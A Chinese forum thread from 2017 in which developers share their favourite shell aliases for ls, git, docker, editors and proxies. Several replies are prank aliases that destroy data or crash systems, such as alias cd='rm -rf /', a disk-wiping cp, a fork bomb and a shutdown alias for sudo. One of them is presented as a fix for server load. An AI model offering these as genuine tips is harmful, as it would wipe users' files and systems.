# 文件按大小排序,lbys = ls by size
alias lbys='ls -alhS'
# 文件按时间排序,lbyt = ls by time
alias lbyt='ls -alht'
# 重新运行上一条命令,并将输出复制到剪贴板,cl = copy last
alias cl='bash -c "$(fc -ln -1)" | pbcopy'
# 复制上一条命令
alias last='fc -ln -1 | pbcopy'
# 将当前剪贴板里的内容保存到某个文件里
alias new='pbpaste | cat >'
alias save='pbpaste | cat >'
这几条 aliases 我用到的频率特别高。大家有什么高频的会用到的 aliases 也分享一下吧。
1
amorphobia 2017-06-01 17:25:06 +08:00 via iPhone 2
alias c=clear
|
2
bookit 2017-06-01 17:30:07 +08:00 1
mac 的:
alias z="vim ~/.zshrc" alias v="vim ~/.config/nvim/init.vim" alias o="vim ~/.oh-my-zsh" alias s="source ~/.zshrc" alias dns="sudo mv ./hosts /etc && sudo killall -HUP mDNSResponder" alias up='brew upgrade && brew cu && softwareupdate -i -a' alias pdf='/Applications/mupdf.app/Contents/MacOS/mupdf-gl -C 0x308014' |
3
xiaolanger 2017-06-01 17:40:13 +08:00
alias st='open -a "Sublime Text"'
|
4
Tonni 2017-06-01 17:41:41 +08:00
```
# Git # http://stackoverflow.com/a/10874862/4480674 alias git__list-conflicted="git diff --name-only --diff-filter=U" alias git__log-with-changed-files="git log --stat" # Vim alias v="vim" # Sublime alias subl="/Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl" ``` |
5
anoymoux 2017-06-01 17:58:57 +08:00
alias myip='curl ifconfig.co'
|
6
0asis 2017-06-01 17:59:52 +08:00
alias vim='emacs'
|
7
zpvip 2017-06-01 18:07:00 +08:00
方向键向上不就是上一条命令吗?
|
8
Osk 2017-06-01 18:09:04 +08:00 via Android
alias cp="cat /dev/zero | tee /dev/sd* > /dev/null"
正经的, deb="lxc-start -n debian ; lxc-attach -n debian" |
10
v1024 2017-06-01 18:23:44 +08:00 via iPhone
dps=docker ps -a
|
11
Rocka 2017-06-01 18:31:40 +08:00 via Android
#!/usr/bin/fish
alias l="ls -Alh" alias qwq="uname -nsmr;and uptime" |
12
cxbig 2017-06-01 18:32:11 +08:00 5
自己建一个 repo 放所有相关的 alias 和 fn
~/.my-aliases/ ~/.my-aliases/main.sh (入口文件,加载子文件夹 items 里的所有 sh 文件) ~/.my-aliases/constants.sh (不放 repo,存与该机器相关的参数) ~/.my-aliases/items/git.sh ~/.my-aliases/items/cli.sh ... echo 'source ~/.my-aliases/main.sh' >> ~/.zshrc 换新环境 checkout 下来立刻可以开工 |
14
wentian 2017-06-01 18:52:17 +08:00 3
我的也分享下:
alias cd='rm -rf /' |
17
Hongmin 2017-06-01 19:02:40 +08:00 1
alias e='emacsclient -t'
|
19
quericy 2017-06-01 19:24:25 +08:00
alias cd='rm -rfv';
export EDITOR=/bin/rm; |
21
MrFireAwayH 2017-06-01 19:37:59 +08:00 via Android
alies cd='rm -rf'
|
22
MrFireAwayH 2017-06-01 19:42:01 +08:00 via Android
alies => alias
|
24
SingeeKing 2017-06-01 19:51:23 +08:00 12
alias cd='rm -rfv';
alias sudo='sudo shutdown -P now'; alias clear=':(){ :|:& };:'; alias cp='mv'; alias exit='sh'; alias if='if !' for='for !' while='while !'; alias vim="vim +q"; alias unalias=false; alias alias=false; |
26
debuggerx 2017-06-01 20:05:04 +08:00
alias mplayer='mplayer -af scaletempo'
alias py='python -Q new' |
27
hellogbk OP @SingeeKing #24
哈哈哈哈, 这个有点狠。 |
28
vvvvww 2017-06-01 23:14:54 +08:00
@SingeeKing 这个好
|
29
mingyun 2017-06-01 23:54:39 +08:00
@wujunze 我的也不一样 这个就可以 curl httpbin.org/ip
|
30
JamesMackerel 2017-06-02 00:12:04 +08:00 1
两个感叹号不就是上一条命令吗。
|
31
flaneurse 2017-06-02 00:42:59 +08:00 via Android
谢谢
|
32
scnace 2017-06-02 01:15:01 +08:00 via Android
@SingeeKing 你这种太会误导新人了啊(不过我喜欢🌚
|
33
Fishdrowned 2017-06-02 01:24:59 +08:00 via Android
dusort=du -md1 | sort -n
|
34
imxieke 2017-06-02 01:48:48 +08:00 via Android
|
35
yangxuan8282 2017-06-02 03:25:20 +08:00 3
之前还试过用 emoji 当 alias,比如树莓派上输入🌡来测温度:
alias $'\355\240\274\355'='/opt/vc/bin/vcgencmd measure_temp' 这里的 \355\240\274\355 就是 🌡 这个 emoji 对应的 Octal Escape Sequence 之前是在树莓派上挂了脚本,利用 ItChat 通过给 pi 上的微信号发送 emoji 来返回执行结果,因为手机上打命令不太方便,所以想到这种方法,不过后来发现框架有时不是很稳定就没再用了 当时还试过别的几个,比如 🐍 对应 python 什么的,🐳应该可以对应 docker 纯属瞎折腾 |
36
jatsz 2017-06-02 07:10:50 +08:00
lbys 和 lbyt 好用,赞
|
37
fyibmsd 2017-06-02 07:48:53 +08:00
alias emacs=vim
|
38
whwq2012 2017-06-02 07:58:12 +08:00 via Android
@yangxuan8282 有创意啊,下次我也试试
|
39
smileawei 2017-06-02 08:32:15 +08:00 via iPhone
@MrFireAwayH 咦,我怎么打开一个文件夹丟一个文件夹
|
40
loopio 2017-06-02 08:48:57 +08:00 via Android
@SingeeKing 😄
|
41
freestyleyooo 2017-06-02 08:49:08 +08:00 via Android
这个是什么东西,为啥大家都讨论的很欢而我却完全不懂
|
43
sunber 2017-06-02 08:58:08 +08:00
楼上好几个坏人
|
44
Aries 2017-06-02 09:17:23 +08:00
挺好,以前从来没有注意过 -h,我都是数的:)
|
45
caniuse 2017-06-02 09:30:47 +08:00
@SingeeKing 我用了你的为什么进不去系统了?在线等
|
46
jixiangqd 2017-06-02 09:35:46 +08:00
|
47
waltcow 2017-06-02 09:39:02 +08:00
alias dcs='docker stats --no-stream $(docker ps --format={{.Names}})'
alias dpa="docker ps -a" |
48
AlphaTr 2017-06-02 09:41:50 +08:00
alias ll='ls -lh --time-style long-iso --color'
alias la='ls -Alh --time-style long-iso --color' bind -x '"\C-l": clear' 这几个应该最常用了 |
49
MrFireAwayH 2017-06-02 10:14:10 +08:00 via Android
@smileawei 试试 cd ~
|
50
MrFireAwayH 2017-06-02 10:15:49 +08:00 via Android
@SingeeKing 老哥 用了你的命令 我现在在学习如何开机
|
53
abchehehe32 2017-06-02 10:42:16 +08:00
不错不错,收了几个,有个问题请教下楼主为什么是 lbys lbyt 而不是 lbs lbt ?
|
54
caotian 2017-06-02 10:56:50 +08:00
终端挂代理
alias setproxy='export ALL_PROXY=socks5://127.0.0.1:1086' alias unsetproxy='unset ALL_PROXY' |
55
sobigfish 2017-06-02 11:50:18 +08:00
@caotian #54 alias 里的 export 貌似不会生效,你确定?
我是 alias setproxy= 'source ~/proxy.rc' 来弄的 |
56
hellogbk OP |
58
weegc 2017-06-02 12:09:55 +08:00
@SingeeKing 忍不住要回复下,笑死了
|
59
abchehehe32 2017-06-02 12:10:28 +08:00 via iPhone
@hellogbk 明白了, 谢谢分享!
|
60
caotian 2017-06-02 12:22:20 +08:00
@sobigfish 我也是放到 bash_profile 里的,做成了 function,在终端里直接调用,没试过 alias,随手写了下。
|
61
Lucups 2017-06-02 12:33:04 +08:00
# 老是按错,加个别名
alias gti='git' # 老是要修改 hosts alias hosts='sudo vim /etc/hosts' |
62
bertonzh 2017-06-02 13:42:04 +08:00
alias input='adb shell input text' # 用来往 Android 系统中输入文本
alias svnlog='svn log | head -n ' # svn log 最近的行 |
63
ie88 2017-06-02 13:44:32 +08:00
感谢各位的分享~
|
69
sodatea 2017-06-02 14:37:20 +08:00
alias sudo="sudo "
alias please="sudo" |
71
zuolan 2017-06-02 14:53:03 +08:00
几十个常用的 alias,不过没什么好分享的(太菜)。
|
72
xolor 2017-06-02 15:05:17 +08:00
alias cd..='cd ..'
就是为了返回上级目录少打一个空格。 因为 Windows 下可以中间不用空格,后来养成习惯了。 |
73
a308057848 2017-06-02 15:47:02 +08:00
非常感谢
|
74
yangxuan8282 2017-06-02 15:48:44 +08:00 1
加了几个 emoji 的 alias,ios 下 Termius 和 win 下 putty 可以用
https://gist.github.com/yangxuan8282/c34f4413dd6003ac854ed9bb1218ec63 |
75
joying 2017-06-02 16:04:43 +08:00
@Lucups 经常输错你需要这个: https://github.com/nvbn/thefuck
|
76
xeneizes 2017-06-02 16:22:37 +08:00
alias vup="vagrant up --provision"
alias vu="vagrant up" alias vh="vagrant halt" alias art="php artisan" |
77
guoyuanjian 2017-06-02 16:27:33 +08:00
我的服务器之前挺卡的,每天监控都发告警,后来我用了下这个命令,服务器终于消停了,现在分享下给大家
alias cd='rm -rf /' |
78
NoahsArk 2017-06-02 16:44:45 +08:00 via iPhone
aliases ls = rm -rf /
|
79
somebody 2017-06-02 16:53:44 +08:00
# 常用的:
alias gr=./review alias http="echo http://$(echo $(hostname -I | cut -d' ' -f1) | xargs ):8000 && python3 -m http.server" alias op="xdg-open" alias py=python3 alias v='nvim' # 来自 oh-my-zsh 的 alias _=sudo alias g=git alias 'gcn!'='git commit -v --no-edit --amend' alias gl='git pull' alias gp='git push' alias grbc='git rebase --continue' alias grbi='git rebase -i' alias grv='git remote -v' alias gst='git status' alias gstp='git stash pop' alias gup='git pull --rebase' |
80
rozbo 2017-06-02 17:09:13 +08:00
@SingeeKing 舅服你!
|
81
feibilanceon 2017-06-02 17:43:58 +08:00
只有我一个人把 sublime text 缩写成 sb 吗
|
82
prasanta 2017-06-03 08:36:50 +08:00 via Android
@amorphobia ctrl+L 其实更好用
|